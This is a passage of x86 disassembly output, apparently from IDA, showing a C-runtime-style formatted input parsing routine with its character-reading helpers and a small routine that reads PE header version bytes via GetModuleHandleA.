		lea	esi, [ebp+var_1C3]
		jmp	short loc_40F861
; ---------------------------------------------------------------------------


loc_40F85C:				; CODE XREF: sub_40F5E2+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_40F878


loc_40F861:				; CODE XREF: sub_40F5E2+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41003E
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_40F87B
; ---------------------------------------------------------------------------


loc_40F878:				; CODE XREF: sub_40F5E2+27Dj
		mov	edi, [ebp+arg_0]


loc_40F87B:				; CODE XREF: sub_40F5E2+294j
		cmp	[ebp+var_20], 0
		jz	short loc_40F88A
		cmp	[ebp+var_C], 15Dh
		jle	short loc_40F891


loc_40F88A:				; CODE XREF: sub_40F5E2+29Dj
		mov	[ebp+var_C], 15Dh


loc_40F891:				; CODE XREF: sub_40F5E2+2A6j
					; sub_40F5E2+2F2j
		cmp	dword_422004, 1
		jle	short loc_40F8A6
		push	4
		push	ebx
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40F8B1
; ---------------------------------------------------------------------------


loc_40F8A6:				; CODE XREF: sub_40F5E2+2B6j
		mov	eax, off_421DF8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_40F8B1:				; CODE XREF: sub_40F5E2+2C2j
		test	eax, eax
		jz	short loc_40F8D6
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_40F8D6
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41003E
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_40F891
; ---------------------------------------------------------------------------


loc_40F8D6:				; CODE XREF: sub_40F5E2+2D1j
					; sub_40F5E2+2DBj
		cmp	byte_422008, bl
		jnz	short loc_40F944
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_40F944
		inc	[ebp+var_4]
		push	edi
		call	sub_41003E
		mov	ebx, eax
		mov	al, byte_422008
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_40F8FF:				; CODE XREF: sub_40F5E2+360j
		cmp	dword_422004, 1
		jle	short loc_40F914
		push	4
		push	ebx
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40F91F
; ---------------------------------------------------------------------------


loc_40F914:				; CODE XREF: sub_40F5E2+324j
		mov	eax, off_421DF8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_40F91F:				; CODE XREF: sub_40F5E2+330j
		test	eax, eax
		jz	short loc_40F944
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_40F944
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41003E
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_40F8FF
; ---------------------------------------------------------------------------


loc_40F944:				; CODE XREF: sub_40F5E2+2FAj
					; sub_40F5E2+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_40F9DC
		cmp	ebx, 65h
		jz	short loc_40F95C
		cmp	ebx, 45h
		jnz	loc_40F9DC


loc_40F95C:				; CODE XREF: sub_40F5E2+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_40F9DC
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41003E
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_40F983
		mov	[esi], al
		inc	esi
		jmp	short loc_40F988
; ---------------------------------------------------------------------------


loc_40F983:				; CODE XREF: sub_40F5E2+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_40F9A6


loc_40F988:				; CODE XREF: sub_40F5E2+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_40F997
		and	[ebp+var_C], eax
		jmp	short loc_40F9A6
; ---------------------------------------------------------------------------


loc_40F997:				; CODE XREF: sub_40F5E2+3AEj
					; sub_40F5E2+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41003E
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_40F9A6:				; CODE XREF: sub_40F5E2+3A4j
					; sub_40F5E2+3B3j
		cmp	dword_422004, 1
		jle	short loc_40F9BB
		push	4
		push	ebx
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40F9C6
; ---------------------------------------------------------------------------


loc_40F9BB:				; CODE XREF: sub_40F5E2+3CBj
		mov	eax, off_421DF8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_40F9C6:				; CODE XREF: sub_40F5E2+3D7j
		test	eax, eax
		jz	short loc_40F9DC
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_40F9DC
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_40F997
; ---------------------------------------------------------------------------


loc_40F9DC:				; CODE XREF: sub_40F5E2+366j
					; sub_40F5E2+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_410058
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_40FFE8
		cmp	[ebp+var_E], 0
		jnz	loc_40FF49
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_421DD8
		add	esp, 0Ch
		jmp	loc_40FF49
; ---------------------------------------------------------------------------


loc_40FA20:				; CODE XREF: sub_40F5E2+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_40FA2F
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_40FA2F:				; CODE XREF: sub_40F5E2+441j
		cmp	[ebp+var_5], 0
		jle	short loc_40FA39
		mov	[ebp+var_16], 1


loc_40FA39:				; CODE XREF: sub_40F5E2+451j
		mov	edi, offset dword_41FC88
		jmp	loc_40FB4E
; ---------------------------------------------------------------------------


loc_40FA43:				; CODE XREF: sub_40F5E2+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_40FCF1
		sub	eax, 3
		jz	loc_40FB3F
		dec	eax
		dec	eax
		jz	loc_40FCF5
		sub	eax, 3
		jz	loc_40F82B
		sub	eax, 3
		jz	short loc_40FA91


loc_40FA6D:				; CODE XREF: sub_40F5E2+21Bj
					; sub_40F5E2+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_40FFB8
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_40FF49
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_40FF49
; ---------------------------------------------------------------------------


loc_40FA91:				; CODE XREF: sub_40F5E2+489j
		cmp	[ebp+var_5], 0
		jle	short loc_40FA9B
		mov	[ebp+var_16], 1


loc_40FA9B:				; CODE XREF: sub_40F5E2+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_40FB52
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_40FB4E
; ---------------------------------------------------------------------------


loc_40FAB5:				; CODE XREF: sub_40F5E2+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_40FADC


loc_40FABA:				; CODE XREF: sub_40F5E2+259j
		dec	[ebp+var_C]
		jnz	short loc_40FACB
		cmp	[ebp+var_20], 0
		jz	short loc_40FACB
		mov	[ebp+var_F], 1
		jmp	short loc_40FADC
; ---------------------------------------------------------------------------


loc_40FACB:				; CODE XREF: sub_40F5E2+4DBj
					; sub_40F5E2+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41003E
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_40FADC:				; CODE XREF: sub_40F5E2+4D6j
					; sub_40F5E2+4E7j
		cmp	ebx, 30h
		jnz	loc_40FD2A
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41003E
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_40FB2A
		cmp	bl, 58h
		jz	short loc_40FB2A
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_40FB14
		push	6Fh


loc_40FB0E:				; CODE XREF: sub_40F5E2+55Bj
		pop	esi
		jmp	loc_40FD2A
; ---------------------------------------------------------------------------


loc_40FB14:				; CODE XREF: sub_40F5E2+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_410058
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_40FD27
; ---------------------------------------------------------------------------


loc_40FB2A:				; CODE XREF: sub_40F5E2+517j
					; sub_40F5E2+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41003E
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_40FB0E
; ---------------------------------------------------------------------------


loc_40FB3F:				; CODE XREF: sub_40F5E2+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_40FB49
		mov	[ebp+var_16], 1


loc_40FB49:				; CODE XREF: sub_40F5E2+561j
		mov	edi, offset dword_41FC80


loc_40FB4E:				; CODE XREF: sub_40F5E2+45Cj
					; sub_40F5E2+4CEj
		or	[ebp+var_18], 0FFh


loc_40FB52:				; CODE XREF: sub_40F5E2+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_40FB76
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_40FB76
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_40FB79
; ---------------------------------------------------------------------------


loc_40FB76:				; CODE XREF: sub_40F5E2+584j
					; sub_40F5E2+589j
		mov	dl, [ebp+var_35]


loc_40FB79:				; CODE XREF: sub_40F5E2+592j
					; sub_40F5E2+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_40FBDE
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_40FBC5
		test	dl, dl
		jz	short loc_40FBC5
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_40FBC5
		inc	edi
		cmp	dl, cl
		jnb	short loc_40FB98
		mov	al, cl
		jmp	short loc_40FB9C
; ---------------------------------------------------------------------------


loc_40FB98:				; CODE XREF: sub_40F5E2+5B0j
		mov	al, dl
		mov	dl, cl


loc_40FB9C:				; CODE XREF: sub_40F5E2+5B4j
		cmp	dl, al
		ja	short loc_40FBC1
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_40FBA9:				; CODE XREF: sub_40F5E2+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_40FBA9


loc_40FBC1:				; CODE XREF: sub_40F5E2+5BCj
		xor	dl, dl
		jmp	short loc_40FB79
; ---------------------------------------------------------------------------


loc_40FBC5:				; CODE XREF: sub_40F5E2+5A0j
					; sub_40F5E2+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_40FB79
; ---------------------------------------------------------------------------


loc_40FBDE:				; CODE XREF: sub_40F5E2+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_40FFE8
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_40FBF0
		mov	[ebp+arg_4], edi


loc_40FBF0:				; CODE XREF: sub_40F5E2+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_410058
		pop	ecx
		pop	ecx


loc_40FC07:				; CODE XREF: sub_40F5E2+6BCj
					; sub_40F5E2+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_40FC1B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_40FCB7


loc_40FC1B:				; CODE XREF: sub_40F5E2+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41003E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_40FCAB
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_40FCAB
		cmp	[ebp+var_E], 0
		jnz	short loc_40FCA3
		cmp	[ebp+var_16], 0
		jz	short loc_40FC98
		mov	ecx, off_421DF8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_40FC77
		inc	[ebp+var_4]
		push	edi
		call	sub_41003E
		pop	ecx
		mov	[ebp+var_37], al


loc_40FC77:				; CODE XREF: sub_40F5E2+686j
		push	dword_422004
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_414B04
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_40FC9B
; ---------------------------------------------------------------------------


loc_40FC98:				; CODE XREF: sub_40F5E2+673j
		mov	[esi], al
		inc	esi


loc_40FC9B:				; CODE XREF: sub_40F5E2+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_40FC07
; ---------------------------------------------------------------------------


loc_40FCA3:				; CODE XREF: sub_40F5E2+66Dj
		inc	[ebp+var_30]
		jmp	loc_40FC07
; ---------------------------------------------------------------------------


loc_40FCAB:				; CODE XREF: sub_40F5E2+649j
					; sub_40F5E2+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_410058
		pop	ecx
		pop	ecx


loc_40FCB7:				; CODE XREF: sub_40F5E2+633j
		cmp	[ebp+var_30], esi
		jz	loc_40FFE8
		cmp	[ebp+var_E], 0
		jnz	loc_40FF49
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_40FF49
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_40FCE9
		and	word ptr [eax],	0
		jmp	loc_40FF49
; ---------------------------------------------------------------------------


loc_40FCE9:				; CODE XREF: sub_40F5E2+6FCj
		and	byte ptr [eax],	0
		jmp	loc_40FF49
; ---------------------------------------------------------------------------


loc_40FCF1:				; CODE XREF: sub_40F5E2+466j
		mov	[ebp+var_D], 1


loc_40FCF5:				; CODE XREF: sub_40F5E2+203j
					; sub_40F5E2+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_40FD03
		mov	[ebp+var_17], 1
		jmp	short loc_40FD08
; ---------------------------------------------------------------------------


loc_40FD03:				; CODE XREF: sub_40F5E2+719j
		cmp	ebx, 2Bh
		jnz	short loc_40FD2A


loc_40FD08:				; CODE XREF: sub_40F5E2+71Fj
		dec	[ebp+var_C]
		jnz	short loc_40FD19
		cmp	[ebp+var_20], 0
		jz	short loc_40FD19
		mov	[ebp+var_F], 1
		jmp	short loc_40FD2A
; ---------------------------------------------------------------------------


loc_40FD19:				; CODE XREF: sub_40F5E2+729j
					; sub_40F5E2+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41003E
		pop	ecx
		mov	ebx, eax


loc_40FD27:				; CODE XREF: sub_40F5E2+543j
		mov	[ebp+var_14], ebx


loc_40FD2A:				; CODE XREF: sub_40F5E2+4FDj
					; sub_40F5E2+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_40FE43
		cmp	[ebp+var_F], 0
		jnz	loc_40FE21


loc_40FD3E:				; CODE XREF: sub_40F5E2+82Cj
		cmp	esi, 78h
		jnz	short loc_40FD92
		cmp	dword_422004, 1
		jle	short loc_40FD5B
		push	80h
		push	ebx
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40FD68
; ---------------------------------------------------------------------------


loc_40FD5B:				; CODE XREF: sub_40F5E2+768j
		mov	eax, off_421DF8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_40FD68:				; CODE XREF: sub_40F5E2+777j
		test	eax, eax
		jz	loc_40FE13
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_414C00
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_410007
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_40FDE5
; ---------------------------------------------------------------------------


loc_40FD92:				; CODE XREF: sub_40F5E2+75Fj
		cmp	dword_422004, 1
		jle	short loc_40FDA7
		push	4
		push	ebx
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40FDB2
; ---------------------------------------------------------------------------


loc_40FDA7:				; CODE XREF: sub_40F5E2+7B7j
		mov	eax, off_421DF8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_40FDB2:				; CODE XREF: sub_40F5E2+7C3j
		test	eax, eax
		jz	short loc_40FE13
		cmp	esi, 6Fh
		jnz	short loc_40FDD0
		cmp	ebx, 38h
		jge	short loc_40FE13
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_414C00
		jmp	short loc_40FDDF
; ---------------------------------------------------------------------------


loc_40FDD0:				; CODE XREF: sub_40F5E2+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_40DDE0


loc_40FDDF:				; CODE XREF: sub_40F5E2+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_40FDE5:				; CODE XREF: sub_40F5E2+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_40FDFD
		dec	[ebp+var_C]
		jz	short loc_40FE21


loc_40FDFD:				; CODE XREF: sub_40F5E2+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41003E
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_40FD3E
; ---------------------------------------------------------------------------


loc_40FE13:				; CODE XREF: sub_40F5E2+788j
					; sub_40F5E2+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_410058
		pop	ecx
		pop	ecx


loc_40FE21:				; CODE XREF: sub_40F5E2+756j
					; sub_40F5E2+819j
		cmp	[ebp+var_17], 0
		jz	loc_40FF07
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_40FF07
; ---------------------------------------------------------------------------


loc_40FE43:				; CODE XREF: sub_40F5E2+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_40FEFF


loc_40FE4D:				; CODE XREF: sub_40F5E2+90Aj
		cmp	esi, 78h
		jz	short loc_40FE91
		cmp	esi, 70h
		jz	short loc_40FE91
		cmp	dword_422004, 1
		jle	short loc_40FE6C
		push	4
		push	ebx
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40FE77
; ---------------------------------------------------------------------------


loc_40FE6C:				; CODE XREF: sub_40F5E2+87Cj
		mov	eax, off_421DF8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_40FE77:				; CODE XREF: sub_40F5E2+888j
		test	eax, eax
		jz	short loc_40FEF1
		cmp	esi, 6Fh
		jnz	short loc_40FE8A
		cmp	ebx, 38h
		jge	short loc_40FEF1
		shl	edi, 3
		jmp	short loc_40FEC9
; ---------------------------------------------------------------------------


loc_40FE8A:				; CODE XREF: sub_40F5E2+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_40FEC9
; ---------------------------------------------------------------------------


loc_40FE91:				; CODE XREF: sub_40F5E2+86Ej
					; sub_40F5E2+873j
		cmp	dword_422004, 1
		jle	short loc_40FEA9
		push	80h
		push	ebx
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40FEB6
; ---------------------------------------------------------------------------


loc_40FEA9:				; CODE XREF: sub_40F5E2+8B6j
		mov	eax, off_421DF8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_40FEB6:				; CODE XREF: sub_40F5E2+8C5j
		test	eax, eax
		jz	short loc_40FEF1
		push	ebx
		shl	edi, 4
		call	sub_410007
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_40FEC9:				; CODE XREF: sub_40F5E2+8A6j
					; sub_40F5E2+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_40FEDB
		dec	[ebp+var_C]
		jz	short loc_40FEFF


loc_40FEDB:				; CODE XREF: sub_40F5E2+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41003E
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_40FE4D
; ---------------------------------------------------------------------------


loc_40FEF1:				; CODE XREF: sub_40F5E2+897j
					; sub_40F5E2+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_410058
		pop	ecx
		pop	ecx


loc_40FEFF:				; CODE XREF: sub_40F5E2+865j
					; sub_40F5E2+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_40FF07
		neg	edi


loc_40FF07:				; CODE XREF: sub_40F5E2+843j
					; sub_40F5E2+85Cj ...
		cmp	esi, 46h
		jnz	short loc_40FF10
		and	[ebp+var_1C], 0


loc_40FF10:				; CODE XREF: sub_40F5E2+928j
		cmp	[ebp+var_1C], 0
		jz	loc_40FFE8
		cmp	[ebp+var_E], 0
		jnz	short loc_40FF49
		inc	[ebp+var_34]


loc_40FF23:				; CODE XREF: sub_40F5E2+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_40FF39
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_40FF49
; ---------------------------------------------------------------------------


loc_40FF39:				; CODE XREF: sub_40F5E2+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_40FF46
		mov	[eax], edi
		jmp	short loc_40FF49
; ---------------------------------------------------------------------------


loc_40FF46:				; CODE XREF: sub_40F5E2+95Ej
		mov	[eax], di


loc_40FF49:				; CODE XREF: sub_40F5E2+241j
					; sub_40F5E2+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_40FF96
; ---------------------------------------------------------------------------


loc_40FF54:				; CODE XREF: sub_40F5E2+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41003E
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_40FFC3
		mov	ecx, off_421DF8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_40FF96
		inc	[ebp+var_4]
		push	edi
		call	sub_41003E
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_40FFD1
		dec	[ebp+var_4]


loc_40FF96:				; CODE XREF: sub_40F5E2+970j
					; sub_40F5E2+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_40FFAC
		cmp	byte ptr [esi],	25h
		jnz	short loc_40FFEE
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_40FFEE
		mov	esi, eax


loc_40FFAC:				; CODE XREF: sub_40F5E2+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_40F60C
		jmp	short loc_40FFE8
; ---------------------------------------------------------------------------


loc_40FFB8:				; CODE XREF: sub_40F5E2+1F4j
					; sub_40F5E2+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_40FFC8
; ---------------------------------------------------------------------------


loc_40FFC3:				; CODE XREF: sub_40F5E2+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_40FFC8:				; CODE XREF: sub_40F5E2+9DFj
		call	sub_410058
		pop	ecx
		pop	ecx
		jmp	short loc_40FFE8
; ---------------------------------------------------------------------------


loc_40FFD1:				; CODE XREF: sub_40F5E2+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_410058
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_410058
		add	esp, 10h


loc_40FFE8:				; CODE XREF: sub_40F5E2+1Fj
					; sub_40F5E2+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_40FFFF


loc_40FFEE:				; CODE XREF: sub_40F5E2+9BDj
					; sub_40F5E2+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_410002
		cmp	[ebp+var_15], al
		jnz	short loc_410002
		or	eax, 0FFFFFFFFh
		jmp	short loc_410002
; ---------------------------------------------------------------------------


loc_40FFFF:				; CODE XREF: sub_40F5E2+A0Aj
		mov	eax, [ebp+var_34]


loc_410002:				; CODE XREF: sub_40F5E2+A11j
					; sub_40F5E2+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F5E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_410007	proc near		; CODE XREF: sub_40F5E2+7A3p
					; sub_40F5E2+8DCp

arg_0		= dword	ptr  4

		cmp	dword_422004, 1
		push	esi
		jle	short loc_410021
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_410030
; ---------------------------------------------------------------------------


loc_410021:				; CODE XREF: sub_410007+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_421DF8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_410030:				; CODE XREF: sub_410007+18j
		test	eax, eax
		jnz	short loc_41003A
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41003A:				; CODE XREF: sub_410007+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_410007	endp


; =============== S U B	R O U T	I N E =======================================



sub_41003E	proc near		; CODE XREF: sub_40F5E2+1E1p
					; sub_40F5E2+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_410050
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_410050:				; CODE XREF: sub_41003E+7j
		push	edx


loc_410051:				; DATA XREF: .nsp0:0041ABDDo
					; .nsp0:0041B40Do
		call	sub_412DA9
		pop	ecx
		retn
sub_41003E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410058	proc near		; CODE XREF: sub_40F5E2+6Bp
					; sub_40F5E2+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41006E
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_414C1F
		pop	ecx
		pop	ecx

locret_41006E:				; CODE XREF: sub_410058+5j
		retn
sub_410058	endp


; =============== S U B	R O U T	I N E =======================================



sub_41006F	proc near		; CODE XREF: sub_40F5E2+63p
					; sub_40F5E2+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_410075:				; CODE XREF: sub_41006F+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41003E
		mov	edi, eax
		push	edi
		call	sub_414BCC
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410075
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41006F	endp


; =============== S U B	R O U T	I N E =======================================



sub_410093	proc near		; CODE XREF: sub_40CCE1+1Fp
					; sub_40DB08+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_481E18
		test	eax, eax
		jz	short loc_4100AB
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_4100AB
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4100AB:				; CODE XREF: sub_410093+7j
					; sub_410093+12j
		xor	eax, eax
		retn
sub_410093	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AE	proc near		; CODE XREF: sub_4100DB+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_418094	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_4100D9
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_4100D9
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


